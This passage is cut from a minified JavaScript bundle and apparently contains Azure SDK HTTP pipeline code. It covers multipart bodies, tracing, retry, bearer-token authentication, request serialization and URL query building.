q,Y,z,w;for(let X of K)try{for(var H=!0,J=(Y=void 0,Re4(X)),O;O=yield Q7A(J.next()),q=O.done,!q;H=!0)w=O.value,H=!1,yield yield Q7A(w)}catch($){Y={error:$}}finally{try{if(!H&&!q&&(z=J.return))yield Q7A(z.call(J))}finally{if(Y)throw Y.error}}})}())}}var be4=k(()=>{ye4()});function e1Y(){return`----AzSDKFormBoundary${LhA()}`}function A6Y(A){let K="";for(let[q,Y]of A)K+=`${q}: ${Y}\r `;return K}function K6Y(A){if(A instanceof Uint8Array)return A.byteLength;else if(bw1(A))return A.size===-1?void 0:A.size;else return}function q6Y(A){let K=0;for(let q of A){let Y=K6Y(q);if(Y===void 0)return;else K+=Y}return K}async function Y6Y(A,K,q){let Y=[Pu(`--${q}`,"utf-8"),...K.flatMap((w)=>[Pu(`\r `,"utf-8"),Pu(A6Y(w.headers),"utf-8"),Pu(`\r `,"utf-8"),w.body,Pu(`\r --${q}`,"utf-8")]),Pu(`--\r \r `,"utf-8")],z=q6Y(Y);if(z)A.headers.set("Content-Length",z);A.body=await he4(Y)}function H6Y(A){if(A.length>z6Y)throw Error(`Multipart boundary "${A}" exceeds maximum length of 70 characters`);if(Array.from(A).some((K)=>!w6Y.has(K)))throw Error(`Multipart boundary "${A}" contains invalid characters`)}function iO6(){return{name:xw1,async sendRequest(A,K){var q;if(!A.multipartBody)return K(A);if(A.body)throw Error("multipartBody and regular body cannot be set at the same time");let Y=A.multipartBody.boundary,z=(q=A.headers.get("Content-Type"))!==null&&q!==void 0?q:"multipart/mixed",w=z.match(/^(multipart\/[^ ;]+)(?:; *boundary=(.+))?$/);if(!w)throw Error(`Got multipart request body, but content-type header was not multipart: ${z}`);let[,H,J]=w;if(J&&Y&&J!==Y)throw Error(`Multipart boundary was specified as ${J} in the header, but got ${Y} in the request body`);if(Y!==null&&Y!==void 0||(Y=J),Y)H6Y(Y);else Y=e1Y();return A.headers.set("Content-Type",`${H}; boundary=${Y}`),await Y6Y(A,A.multipartBody.parts,Y),A.multipartBody=void 0,K(A)}}}var xw1="multipartPolicy",z6Y=70,w6Y;var xe4=k(()=>{_O6();be4();w6Y=new Set("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'()+,-./:=?")});var u_A=k(()=>{ChA();pt4();ct4();MO6();tt4();Ft4();Qt4()});function xhA(){return ZO6()}var nO6=k(()=>{u_A()});var fU;var uw1=k(()=>{g7A();fU=jo("core-rest-pipeline")});var zI=k(()=>{$e4();yO6();je4();et4();xe4();Ce4();qe4()});function ue4(A={}){return NO6(Object.assign({logger:fU.info},A))}var Be4=k(()=>{uw1();zI()});function me4(A={}){return TO6(A)}var ge4=k(()=>{zI()});import*as B_A from"node:os";import*as Bw1 from"node:process";function Fe4(){return"User-Agent"}async function Qe4(A){if(Bw1&&Bw1.versions){let K=Bw1.versions;if(K.bun)A.set("Bun",K.bun);else if(K.deno)A.set("Deno",K.deno);else if(K.node)A.set("Node",K.node)}A.set("OS",`(${B_A.arch()}-${B_A.type()}-${B_A.release()})`)}var Ue4=()=>{};var mw1="1.21.0",pe4=3;function G6Y(A){let K=[];for(let[q,Y]of A){let z=Y?`${q}/${Y}`:q;K.push(z)}return K.join(" ")}function de4(){return Fe4()}async function gw1(A){let K=new Map;K.set("core-rest-pipeline",mw1),await Qe4(K);let q=G6Y(K);return A?`${A} ${q}`:q}var rO6=k(()=>{Ue4()});function le4(A={}){let K=gw1(A.userAgentPrefix);return{name:Z6Y,async sendRequest(q,Y){if(!q.headers.has(ce4))q.headers.set(ce4,await K);return Y(q)}}}var ce4,Z6Y="userAgentPolicy";var ie4=k(()=>{rO6();ce4=de4()});var Fw1=k(()=>{kO6();WO6();BO6();yhA()});var m_A;var ne4=k(()=>{m_A=class m_A extends Error{constructor(A){super(A);this.name="AbortError"}}});var oO6=k(()=>{ne4()});function re4(A,K){let{cleanupBeforeAbort:q,abortSignal:Y,abortErrorMsg:z}=K!==null&&K!==void 0?K:{};return new Promise((w,H)=>{function J(){H(new m_A(z!==null&&z!==void 0?z:"The operation was aborted."))}function O(){Y===null||Y===void 0||Y.removeEventListener("abort",X)}function X(){q===null||q===void 0||q(),O(),J()}if(Y===null||Y===void 0?void 0:Y.aborted)return J();try{A(($)=>{O(),w($)},($)=>{O(),H($)})}catch($){H($)}Y===null||Y===void 0||Y.addEventListener("abort",X)})}var oe4=k(()=>{oO6()});function aO6(A,K){let q,{abortSignal:Y,abortErrorMsg:z}=K!==null&&K!==void 0?K:{};return re4((w)=>{q=setTimeout(w,A)},{cleanupBeforeAbort:()=>clearTimeout(q),abortSignal:Y,abortErrorMsg:z!==null&&z!==void 0?z:j6Y})}var j6Y="The delay was aborted.";var ae4=k(()=>{oe4()});function g_A(A){if(F7A(A))return A.message;else{let K;try{if(typeof A==="object"&&A)K=JSON.stringify(A);else K=String(A)}catch(q){K="[unable to stringify input]"}return`Unknown error ${K}`}}var se4=k(()=>{Fw1()});function te4(A,K){return hhA(A,K)}function Qw1(A){return F7A(A)}var Uw1,uhA;var Po=k(()=>{Fw1();ae4();se4();Uw1=b_A,uhA=b_A});function sO6(A){return typeof A[ee4]==="function"}function AA7(A){if(sO6(A))return A[ee4]();else return A}var ee4;var KA7=k(()=>{ee4=Symbol("rawContent")});function qA7(){let A=iO6();return{name:tO6,sendRequest:async(K,q)=>{if(K.multipartBody){for(let Y of K.multipartBody.parts)if(sO6(Y.body))Y.body=AA7(Y.body)}return A.sendRequest(K,q)}}}var tO6;var YA7=k(()=>{zI();KA7();tO6=xw1});function zA7(){return vO6()}var wA7=k(()=>{zI()});function HA7(A={}){return SO6(A)}var JA7=k(()=>{zI()});function OA7(){return gO6()}var XA7=k(()=>{zI()});function $A7(A,K){return UO6(A,K)}var _A7=k(()=>{zI()});function GA7(A="x-ms-client-request-id"){return{name:"setClientRequestIdPolicy",async sendRequest(K,q){if(!K.headers.has(A))K.headers.set(A,K.requestId);return q(K)}}}function ZA7(A){return pO6(A)}var WA7=k(()=>{zI()});function DA7(A){return dO6(A)}var jA7=k(()=>{zI()});function MA7(A={}){let K=new BhA(A.parentContext);if(A.span)K=K.setValue(F_A.span,A.span);if(A.namespace)K=K.setValue(F_A.namespace,A.namespace);return K}class BhA{constructor(A){this._contextMap=A instanceof BhA?new Map(A._contextMap):new Map}setValue(A,K){let q=new BhA(this);return q._contextMap.set(A,K),q}getValue(A){return this._contextMap.get(A)}deleteValue(A){let K=new BhA(this);return K._contextMap.delete(A),K}}var F_A;var eO6=k(()=>{F_A={span:Symbol.for("@azure/core-tracing span"),namespace:Symbol.for("@azure/core-tracing namespace")}});var fA7=v((PA7)=>{Object.defineProperty(PA7,"__esModule",{value:!0});PA7.state=void 0;PA7.state={instrumenterImplementation:void 0}});var NA7,pw1;var TA7=k(()=>{NA7=o(fA7(),1),pw1=NA7.state});function M6Y(){return{end:()=>{},isRecording:()=>!1,recordException:()=>{},setAttribute:()=>{},setStatus:()=>{},addEvent:()=>{}}}function P6Y(){return{createRequestHeaders:()=>{return{}},parseTraceparentHeader:()=>{return},startSpan:(A,K)=>{return{span:M6Y(),tracingContext:MA7({parentContext:K.tracingContext})}},withContext(A,K,...q){return K(...q)}}}function mhA(){if(!pw1.instrumenterImplementation)pw1.instrumenterImplementation=P6Y();return pw1.instrumenterImplementation}var vA7=k(()=>{eO6();TA7()});function ghA(A){let{namespace:K,packageName:q,packageVersion:Y}=A;function z(X,$,_){var G;let Z=mhA().startSpan(X,Object.assign(Object.assign({},_),{packageName:q,packageVersion:Y,tracingContext:(G=$===null||$===void 0?void 0:$.tracingOptions)===null||G===void 0?void 0:G.tracingContext})),W=Z.tracingContext,D=Z.span;if(!W.getValue(F_A.namespace))W=W.setValue(F_A.namespace,K);D.setAttribute("az.namespace",W.getValue(F_A.namespace));let j=Object.assign({},$,{tracingOptions:Object.assign(Object.assign({},$===null||$===void 0?void 0:$.tracingOptions),{tracingContext:W})});return{span:D,updatedOptions:j}}async function w(X,$,_,G){let{span:Z,updatedOptions:W}=z(X,$,G);try{let D=await H(W.tracingOptions.tracingContext,()=>Promise.resolve(_(W,Z)));return Z.setStatus({status:"success"}),D}catch(D){throw Z.setStatus({status:"error",error:D}),D}finally{Z.end()}}function H(X,$,..._){return mhA().withContext(X,$,..._)}function J(X){return mhA().parseTraceparentHeader(X)}function O(X){return mhA().createRequestHeaders(X)}return{startSpan:z,withSpan:w,withContext:H,parseTraceparentHeader:J,createRequestHeaders:O}}var EA7=k(()=>{vA7();eO6()});var A06=k(()=>{EA7()});function FhA(A){return jO6(A)}var Q_A;var dw1=k(()=>{u_A();Q_A=rV});function kA7(A={}){let K=gw1(A.userAgentPrefix),q=new Mu({additionalAllowedQueryParameters:A.additionalAllowedQueryParameters}),Y=f6Y();return{name:V6Y,async sendRequest(z,w){var H;if(!Y)return w(z);let J=await K,O={"http.url":q.sanitizeUrl(z.url),"http.method":z.method,"http.user_agent":J,requestId:z.requestId};if(J)O["http.user_agent"]=J;let{span:X,tracingContext:$}=(H=N6Y(Y,z,O))!==null&&H!==void 0?H:{};if(!X||!$)return w(z);try{let _=await Y.withContext($,w,z);return v6Y(X,_),_}catch(_){throw T6Y(X,_),_}}}}function f6Y(){try{return ghA({namespace:"",packageName:"@azure/core-rest-pipeline",packageVersion:mw1})}catch(A){fU.warning(`Error when creating the TracingClient: ${g_A(A)}`);return}}function N6Y(A,K,q){try{let{span:Y,updatedOptions:z}=A.startSpan(`HTTP ${K.method}`,{tracingOptions:K.tracingOptions},{spanKind:"client",spanAttributes:q});if(!Y.isRecording()){Y.end();return}let w=A.createRequestHeaders(z.tracingOptions.tracingContext);for(let[H,J]of Object.entries(w))K.headers.set(H,J);return{span:Y,tracingContext:z.tracingOptions.tracingContext}}catch(Y){fU.warning(`Skipping creating a tracing span due to an error: ${g_A(Y)}`);return}}function T6Y(A,K){try{if(A.setStatus({status:"error",error:Qw1(K)?K:void 0}),FhA(K)&&K.statusCode)A.setAttribute("http.status_code",K.statusCode);A.end()}catch(q){fU.warning(`Skipping tracing span processing due to an error: ${g_A(q)}`)}}function v6Y(A,K){try{A.setAttribute("http.status_code",K.status);let q=K.headers.get("x-ms-request-id");if(q)A.setAttribute("serviceRequestId",q);if(K.status>=400)A.setStatus({status:"error"});A.end()}catch(q){fU.warning(`Skipping tracing span processing due to an error: ${g_A(q)}`)}}var V6Y="tracingPolicy";var CA7=k(()=>{A06();rO6();uw1();Po();dw1();Fw1()});function cw1(A){if(A instanceof AbortSignal)return{abortSignal:A};if(A.aborted)return{abortSignal:AbortSignal.abort(A.reason)};let K=new AbortController,q=!0;function Y(){if(q)A.removeEventListener("abort",z),q=!1}function z(){K.abort(A.reason),Y()}return A.addEventListener("abort",z),{abortSignal:K.signal,cleanup:Y}}function LA7(){return{name:E6Y,sendRequest:async(A,K)=>{if(!A.abortSignal)return K(A);let{abortSignal:q,cleanup:Y}=cw1(A.abortSignal);A.abortSignal=q;try{return await K(A)}finally{Y===null||Y===void 0||Y()}}}}var E6Y="wrapAbortSignalLikePolicy";var RA7=()=>{};function K06(A){var K;let q=xhA();if(uhA){if(A.agent)q.addPolicy(ZA7(A.agent));if(A.tlsOptions)q.addPolicy(DA7(A.tlsOptions));q.addPolicy($A7(A.proxyOptions)),q.addPolicy(zA7())}if(q.addPolicy(LA7()),q.addPolicy(OA7(),{beforePolicies:[tO6]}),q.addPolicy(le4(A.userAgentOptions)),q.addPolicy(GA7((K=A.telemetryOptions)===null||K===void 0?void 0:K.clientRequestIdHeaderName)),q.addPolicy(qA7(),{afterPhase:"Deserialize"}),q.addPolicy(HA7(A.retryOptions),{phase:"Retry"}),q.addPolicy(kA7(Object.assign(Object.assign({},A.userAgentOptions),A.loggingOptions)),{afterPhase:"Retry"}),uhA)q.addPolicy(me4(A.redirectOptions),{afterPhase:"Retry"});return q.addPolicy(ue4(A.loggingOptions),{afterPhase:"Sign"}),q}var yA7=k(()=>{Be4();nO6();ge4();ie4();YA7();wA7();JA7();XA7();Po();_A7();WA7();jA7();CA7();RA7()});function q06(){let A=VO6();return{async sendRequest(K){let{abortSignal:q,cleanup:Y}=K.abortSignal?cw1(K.abortSignal):{};try{return K.abortSignal=q,await A.sendRequest(K)}finally{Y===null||Y===void 0||Y()}}}}var IA7=k(()=>{u_A()});function U7A(A){return ju(A)}var SA7=k(()=>{u_A()});function wI(A){return GO6(A)}var hA7=k(()=>{u_A()});function Y06(A,K={maxRetries:pe4}){return bhA(A,Object.assign({logger:k6Y},K))}var k6Y;var bA7=k(()=>{g7A();zI();k6Y=jo("core-rest-pipeline retryPolicy")});async function L6Y(A,K,q){async function Y(){if(Date.now()<q)try{return await A()}catch(w){return null}else{let w=await A();if(w===null)throw Error("Failed to refresh access token.");return w}}let z=await Y();while(z===null)await aO6(K),z=await Y();return z}function xA7(A,K){let q=null,Y=null,z,w=Object.assign(Object.assign({},C6Y),K),H={get isRefreshing(){return q!==null},get shouldRefresh(){var O;if(H.isRefreshing)return!1;if((Y===null||Y===void 0?void 0:Y.refreshAfterTimestamp)&&Y.refreshAfterTimestamp<Date.now())return!0;return((O=Y===null||Y===void 0?void 0:Y.expiresOnTimestamp)!==null&&O!==void 0?O:0)-w.refreshWindowInMs<Date.now()},get mustRefresh(){return Y===null||Y.expiresOnTimestamp-w.forcedRefreshWindowInMs<Date.now()}};function J(O,X){var $;if(!H.isRefreshing)q=L6Y(()=>A.getToken(O,X),w.retryIntervalInMs,($=Y===null||Y===void 0?void 0:Y.expiresOnTimestamp)!==null&&$!==void 0?$:Date.now()).then((G)=>{return q=null,Y=G,z=X.tenantId,Y}).catch((G)=>{throw q=null,Y=null,z=void 0,G});return q}return async(O,X)=>{let $=Boolean(X.claims),_=z!==X.tenantId;if($)Y=null;if(_||$||H.mustRefresh)return J(O,X);if(H.shouldRefresh)J(O,X);return Y}}var C6Y;var uA7=k(()=>{Po();C6Y={forcedRefreshWindowInMs:1000,retryIntervalInMs:3000,refreshWindowInMs:120000}});async function lw1(A,K){try{return[await K(A),void 0]}catch(q){if(FhA(q)&&q.response)return[q.response,q];else throw q}}async function R6Y(A){let{scopes:K,getAccessToken:q,request:Y}=A,z={abortSignal:Y.abortSignal,tracingOptions:Y.tracingOptions,enableCae:!0},w=await q(K,z);if(w)A.request.headers.set("Authorization",`Bearer ${w.token}`)}function BA7(A){return A.status===401&&A.headers.has("WWW-Authenticate")}async function mA7(A,K){var q;let{scopes:Y}=A,z=await A.getAccessToken(Y,{enableCae:!0,claims:K});if(!z)return!1;return A.request.headers.set("Authorization",`${(q=z.tokenType)!==null&&q!==void 0?q:"Bearer"} ${z.token}`),!0}function QhA(A){var K,q,Y;let{credential:z,scopes:w,challengeCallbacks:H}=A,J=A.logger||fU,O={authorizeRequest:(q=(K=H===null||H===void 0?void 0:H.authorizeRequest)===null||K===void 0?void 0:K.bind(H))!==null&&q!==void 0?q:R6Y,authorizeRequestOnChallenge:(Y=H===null||H===void 0?void 0:H.authorizeRequestOnChallenge)===null||Y===void 0?void 0:Y.bind(H)},X=z?xA7(z):()=>Promise.resolve(null);return{name:FA7,async sendRequest($,_){if(!$.url.toLowerCase().startsWith("https://"))throw Error("Bearer token authentication is not permitted for non-TLS protected (non-https) URLs.");await O.authorizeRequest({scopes:Array.isArray(w)?w:[w],request:$,getAccessToken:X,logger:J});let G,Z,W;if([G,Z]=await lw1($,_),BA7(G)){let D=gA7(G.headers.get("WWW-Authenticate"));if(D){let j;try{j=atob(D)}catch(M){return J.warning(`The WWW-Authenticate header contains "claims" that cannot be parsed. Unable to perform the Continuous Access Evaluation authentication flow. Unparsable claims: ${D}`),G}if(W=await mA7({scopes:Array.isArray(w)?w:[w],response:G,request:$,getAccessToken:X,logger:J},j),W)[G,Z]=await lw1($,_)}else if(O.authorizeRequestOnChallenge){if(W=await O.authorizeRequestOnChallenge({scopes:Array.isArray(w)?w:[w],request:$,response:G,getAccessToken:X,logger:J}),W)[G,Z]=await lw1($,_);if(BA7(G)){if(D=gA7(G.headers.get("WWW-Authenticate")),D){let j;try{j=atob(D)}catch(M){return J.warning(`The WWW-Authenticate header contains "claims" that cannot be parsed. Unable to perform the Continuous Access Evaluation authentication flow. Unparsable claims: ${D}`),G}if(W=await mA7({scopes:Array.isArray(w)?w:[w],response:G,request:$,getAccessToken:X,logger:J},j),W)[G,Z]=await lw1($,_)}}}}if(Z)throw Z;else return G}}}function y6Y(A){let K=/(\w+)\s+((?:\w+=(?:"[^"]*"|[^,]*),?\s*)+)/g,q=/(\w+)="([^"]*)"/g,Y=[],z;while((z=K.exec(A))!==null){let w=z[1],H=z[2],J={},O;while((O=q.exec(H))!==null)J[O[1]]=O[2];Y.push({scheme:w,params:J})}return Y}function gA7(A){var K;if(!A)return;return(K=y6Y(A).find((Y)=>Y.scheme==="Bearer"&&Y.params.claims&&Y.params.error==="insufficient_claims"))===null||K===void 0?void 0:K.params.claims}var FA7="bearerTokenAuthenticationPolicy";var QA7=k(()=>{uA7();uw1();dw1()});var NU=k(()=>{nO6();yA7();IA7();SA7();hA7();dw1();bA7();QA7()});var dA7=v((UA7)=>{Object.defineProperty(UA7,"__esModule",{value:!0});UA7.state=void 0;UA7.state={operationRequestMap:new WeakMap}});var cA7,z06;var lA7=k(()=>{cA7=o(dA7(),1),z06=cA7.state});function Vo(A,K,q){let{parameterPath:Y,mapper:z}=K,w;if(typeof Y==="string")Y=[Y];if(Array.isArray(Y)){if(Y.length>0)if(z.isConstant)w=z.defaultValue;else{let H=iA7(A,Y);if(!H.propertyFound&&q)H=iA7(q,Y);let J=!1;if(!H.propertyFound)J=z.required||Y[0]==="options"&&Y.length===2;w=J?z.defaultValue:H.propertyValue}}else{if(z.required)w={};for(let H in Y){let J=z.type.modelProperties[H],O=Y[H],X=Vo(A,{parameterPath:O,mapper:J},q);if(X!==void 0){if(!w)w={};w[H]=X}}}return w}function iA7(A,K){let q={propertyFound:!1},Y=0;for(;Y<K.length;++Y){let z=K[Y];if(A&&z in A)A=A[z];else break}if(Y===K.length)q.propertyValue=A,q.propertyFound=!0;return q}function I6Y(A){return nA7 in A}function TU(A){if(I6Y(A))return TU(A[nA7]);let K=z06.operationRequestMap.get(A);if(!K)K={},z06.operationRequestMap.set(A,K);return K}var nA7;var UhA=k(()=>{lA7();nA7=Symbol.for("@azure/core-client original request")});function rA7(A={}){var K,q,Y,z,w,H,J;let O=(q=(K=A.expectedContentTypes)===null||K===void 0?void 0:K.json)!==null&&q!==void 0?q:S6Y,X=(z=(Y=A.expectedContentTypes)===null||Y===void 0?void 0:Y.xml)!==null&&z!==void 0?z:h6Y,$=A.parseXML,_=A.serializerOptions,G={xml:{rootName:(w=_===null||_===void 0?void 0:_.xml.rootName)!==null&&w!==void 0?w:"",includeRoot:(H=_===null||_===void 0?void 0:_.xml.includeRoot)!==null&&H!==void 0?H:!1,xmlCharKey:(J=_===null||_===void 0?void 0:_.xml.xmlCharKey)!==null&&J!==void 0?J:kw1}};return{name:b6Y,async sendRequest(Z,W){let D=await W(Z);return B6Y(O,X,D,G,$)}}}function x6Y(A){let K,q=A.request,Y=TU(q),z=Y===null||Y===void 0?void 0:Y.operationSpec;if(z)if(!(Y===null||Y===void 0?void 0:Y.operationResponseGetter))K=z.responses[A.status];else K=Y===null||Y===void 0?void 0:Y.operationResponseGetter(z,A);return K}function u6Y(A){let K=A.request,q=TU(K),Y=q===null||q===void 0?void 0:q.shouldDeserialize,z;if(Y===void 0)z=!0;else if(typeof Y==="boolean")z=Y;else z=Y(A);return z}async function B6Y(A,K,q,Y,z){let w=await F6Y(A,K,q,Y,z);if(!u6Y(w))return w;let H=TU(w.request),J=H===null||H===void 0?void 0:H.operationSpec;if(!J||!J.responses)return w;let O=x6Y(w),{error:X,shouldReturnResponse:$}=g6Y(w,J,O,Y);if(X)throw X;else if($)return w;if(O){if(O.bodyMapper){let _=w.parsedBody;if(J.isXML&&O.bodyMapper.type.name===VU.Sequence)_=typeof _==="object"?_[O.bodyMapper.xmlElementName]:[];try{w.parsedBody=J.serializer.deserialize(O.bodyMapper,_,"operationRes.parsedBody",Y)}catch(G){throw new Q_A(`Error ${G} occurred in deserializing the responseBody - ${w.bodyAsText}`,{statusCode:w.status,request:w.request,response:w})}}else if(J.httpMethod==="HEAD")w.parsedBody=q.status>=200&&q.status<300;if(O.headersMapper)w.parsedHeaders=J.serializer.deserialize(O.headersMapper,w.headers.toJSON(),"operationRes.parsedHeaders",{xml:{},ignoreUnknownProperties:!0})}return w}function m6Y(A){let K=Object.keys(A.responses);return K.length===0||K.length===1&&K[0]==="default"}function g6Y(A,K,q,Y){var z,w,H,J,O;let X=200<=A.status&&A.status<300;if(m6Y(K)?X:!!q)if(q){if(!q.isError)return{error:null,shouldReturnResponse:!1}}else return{error:null,shouldReturnResponse:!1};let _=q!==null&&q!==void 0?q:K.responses.default,G=((z=A.request.streamResponseStatusCodes)===null||z===void 0?void 0:z.has(A.status))?`Unexpected status code: ${A.status}`:A.bodyAsText,Z=new Q_A(G,{statusCode:A.status,request:A.request,response:A});if(!_&&!(((H=(w=A.parsedBody)===null||w===void 0?void 0:w.error)===null||H===void 0?void 0:H.code)&&((O=(J=A.parsedBody)===null||J===void 0?void 0:J.error)===null||O===void 0?void 0:O.message)))throw Z;let W=_===null||_===void 0?void 0:_.bodyMapper,D=_===null||_===void 0?void 0:_.headersMapper;try{if(A.parsedBody){let j=A.parsedBody,M;if(W){let f=j;if(K.isXML&&W.type.name===VU.Sequence){f=[];let N=W.xmlElementName;if(typeof j==="object"&&N)f=j[N]}M=K.serializer.deserialize(W,f,"error.response.parsedBody",Y)}let P=j.error||M||j;if(Z.code=P.code,P.message)Z.message=P.message;if(W)Z.response.parsedBody=M}if(A.headers&&D)Z.response.parsedHeaders=K.serializer.deserialize(D,A.headers.toJSON(),"operationRes.parsedHeaders")}catch(j){Z.message=`Error "${j.message}" occurred in deserializing the responseBody - "${A.bodyAsText}" for the default response.`}return{error:Z,shouldReturnResponse:!1}}async function F6Y(A,K,q,Y,z){var w;if(!((w=q.request.streamResponseStatusCodes)===null||w===void 0?void 0:w.has(q.status))&&q.bodyAsText){let H=q.bodyAsText,J=q.headers.get("Content-Type")||"",O=!J?[]:J.split(";").map((X)=>X.toLowerCase());try{if(O.length===0||O.some((X)=>A.indexOf(X)!==-1))return q.parsedBody=JSON.parse(H),q;else if(O.some((X)=>K.indexOf(X)!==-1)){if(!z)throw Error("Parsing XML not supported.");let X=await z(H,Y.xml);return q.parsedBody=X,q}}catch(X){let $=`Error "${X}" occurred while parsing the response body - ${q.bodyAsText}.`,_=X.code||Q_A.PARSE_ERROR;throw new Q_A($,{code:_,statusCode:q.status,request:q.request,response:q})}}return q}var S6Y,h6Y,b6Y="deserializationPolicy";var oA7=k(()=>{NU();Cw1();UhA();S6Y=["application/json","text/json"],h6Y=["application/xml","application/atom+xml"]});function aA7(A){let K=new Set;for(let q in A.responses){let Y=A.responses[q];if(Y.bodyMapper&&Y.bodyMapper.type.name===VU.Stream)K.add(Number(q))}return K}function Vu(A){let{parameterPath:K,mapper:q}=A,Y;if(typeof K==="string")Y=K;else if(Array.isArray(K))Y=K.join(".");else Y=q.serializedName;return Y}var iw1=k(()=>{Cw1()});function sA7(A={}){let K=A.stringifyXML;return{name:Q6Y,async sendRequest(q,Y){let z=TU(q),w=z===null||z===void 0?void 0:z.operationSpec,H=z===null||z===void 0?void 0:z.operationArguments;if(w&&H)U6Y(q,H,w),p6Y(q,H,w,K);return Y(q)}}}function U6Y(A,K,q){var Y,z;if(q.headerParameters)for(let H of q.headerParameters){let J=Vo(K,H);if(J!==null&&J!==void 0||H.mapper.required){J=q.serializer.serialize(H.mapper,J,Vu(H));let O=H.mapper.headerCollectionPrefix;if(O)for(let X of Object.keys(J))A.headers.set(O+X,J[X]);else A.headers.set(H.mapper.serializedName||Vu(H),J)}}let w=(z=(Y=K.options)===null||Y===void 0?void 0:Y.requestOptions)===null||z===void 0?void 0:z.customHeaders;if(w)for(let H of Object.keys(w))A.headers.set(H,w[H])}function p6Y(A,K,q,Y=function(){throw Error("XML serialization unsupported!")}){var z,w,H,J,O;let X=(z=K.options)===null||z===void 0?void 0:z.serializerOptions,$={xml:{rootName:(w=X===null||X===void 0?void 0:X.xml.rootName)!==null&&w!==void 0?w:"",includeRoot:(H=X===null||X===void 0?void 0:X.xml.includeRoot)!==null&&H!==void 0?H:!1,xmlCharKey:(J=X===null||X===void 0?void 0:X.xml.xmlCharKey)!==null&&J!==void 0?J:kw1}},_=$.xml.xmlCharKey;if(q.requestBody&&q.requestBody.mapper){A.body=Vo(K,q.requestBody);let G=q.requestBody.mapper,{required:Z,serializedName:W,xmlName:D,xmlElementName:j,xmlNamespace:M,xmlNamespacePrefix:P,nullable:f}=G,N=G.type.name;try{if(A.body!==void 0&&A.body!==null||f&&A.body===null||Z){let T=Vu(q.requestBody);A.body=q.serializer.serialize(G,A.body,T,$);let C=N===VU.Stream;if(q.isXML){let R=P?`xmlns:${P}`:"xmlns",x=d6Y(M,R,N,A.body,$);if(N===VU.Sequence)A.body=Y(c6Y(x,j||D||W,R,M),{rootName:D||W,xmlCharKey:_});else if(!C)A.body=Y(x,{rootName:D||W,xmlCharKey:_})}else if(N===VU.String&&(((O=q.contentType)===null||O===void 0?void 0:O.match("text/plain"))||q.mediaType==="text"))return;else if(!C)A.body=JSON.stringify(A.body)}}catch(T){throw Error(`Error "${T.message}" occurred in serializing the payload - ${JSON.stringify(W,void 0," ")}.`)}}else if(q.formDataParameters&&q.formDataParameters.length>0){A.formData={};for(let G of q.formDataParameters){let Z=Vo(K,G);if(Z!==void 0&&Z!==null){let W=G.mapper.serializedName||Vu(G);A.formData[W]=q.serializer.serialize(G.mapper,Z,Vu(G),$)}}}}function d6Y(A,K,q,Y,z){if(A&&!["Composite","Sequence","Dictionary"].includes(q)){let w={};return w[z.xml.xmlCharKey]=Y,w[OO6]={[K]:A},w}return Y}function c6Y(A,K,q,Y){if(!Array.isArray(A))A=[A];if(!q||!Y)return{[K]:A};let z={[K]:A};return z[OO6]={[q]:Y},z}var Q6Y="serializationPolicy";var tA7=k(()=>{UhA();Cw1();iw1()});function eA7(A={}){let K=K06(A!==null&&A!==void 0?A:{});if(A.credentialOptions)K.addPolicy(QhA({credential:A.credentialOptions.credential,scopes:A.credentialOptions.credentialScopes}));return K.addPolicy(sA7(A.serializationOptions),{phase:"Serialize"}),K.addPolicy(rA7(A.deserializationOptions),{phase:"Deserialize"}),K}var A17=k(()=>{oA7();NU();tA7()});function K17(){if(!w06)w06=q06();return w06}var w06;var q17=k(()=>{NU()});function z17(A,K,q,Y){let z=i6Y(K,q,Y),w=!1,H=Y17(A,z);if(K.path){let X=Y17(K.path,z);if(K.path==="/{nextLink}"&&X.startsWith("/"))X=X.substring(1);if(n6Y(X))H=X,w=!0;else H=r6Y(H,X)}let{queryParams:J,sequenceParams:O}=o6Y(K,q,Y);return H=s6Y(H,J,O,w),H}function Y17(A,K){let q=A;for(let[Y,z]of K)q=q.split(Y).join(z);return q}function i6Y(A,K,q){var Y;let z=new Map;if((Y=A.urlParameters)===null||Y===void 0?void 0:Y.length)for(let w of A.urlParameters){let H=Vo(K,w,q),J=Vu(w);if(H=A.serializer.serialize(w.mapper,H,J),!w.skipEncoding)H=encodeURIComponent(H);z.set(`{${w.mapper.serializedName||J}}`,H)}return z}function n6Y(A){return A.includes("://")}function r6Y(A,K){if(!K)return A;let q=new URL(A),Y=q.pathname;if(!Y.endsWith("/"))Y=`${Y}/`;if(K.startsWith("/"))K=K.substring(1);let z=K.indexOf("?");if(z!==-1){let w=K.substring(0,z),H=K.substring(z+1);if(Y=Y+w,H)q.search=q.search?`${q.search}&${H}`:H}else Y=Y+K;return q.pathname=Y,q.toString()}function o6Y(A,K,q){var Y;let z=new Map,w=new Set;if((Y=A.queryParameters)===null||Y===void 0?void 0:Y.length)for(let H of A.queryParameters){if(H.mapper.type.name==="Sequence"&&H.mapper.serializedName)w.add(H.mapper.serializedName);let J=Vo(K,H,q);if(J!==void 0&&J!==null||H.mapper.required){J=A.serializer.serialize(H.mapper,J,Vu(H));let O=H.collectionFormat?l6Y[H.collectionFormat]:"";if(Array.isArray(J))J=J.map((X)=>{if(X===null||X===void 0)return"";return X});if(H.collectionFormat==="Multi"&&J.length===0)continue;else if(Array.isArray(J)&&(H.collectionFormat==="SSV"||H.collectionFormat==="TSV"))J=J.join(O);if(!H.skipEncoding)if(Array.isArray(J))J=J.map((X)=>{return encodeURIComponent(X)});else J=encodeURIComponent(J);if(Array.isArray(J)&&(H.collectionFormat==="CSV"||H.collectionFormat==="Pipes"))J=J.join(O);z.set(H.mapper.serializedName||Vu(H),J)}}return{queryParams:z,sequenceParams:w}}function a6Y(A){let K=new Map;if(!A||A[0]!=="?")return K;A=A.slice(1);let q=A.split("&");for(let Y of q){let[z,w]=Y.split("=",2),H=K.get(z);if(H)if(Array.isArray(H))H.push(w);else K.set(z,[H,w]);else K.set(z,w)}return K}function s6Y(A,K,q,Y=!1){if(K.size===0)return A;let z=new URL(A),w=a6Y(z.search);for(let[J,O]of K){let X=w.get(J);if(Array.isArray(X))if(Array.isArray(O)){X.push(...O);let $=new Set(X);w.set(J,Array.from($))}else X.push(O);else if(X){if(Array.isArray(O))O.unshift(X);else if(q.has(J))w.set(J,[X,O]);if(!Y)w.set(J,O)}else w.set(J,O)}let H=[];for(let[J,O]of w)if(typeof O==="string")H.push(`${J}=${O}`);else if(Array.isArray(O))for(let X of O)H.push(`${J}=${X}`);else H.push(`${J}=${O}`);return z.search=H.length?`?${H.join("&")}`:"",z.toString()}var l6Y;var w17=k(()=>{UhA();iw1();l6Y={CSV:",",SSV:" 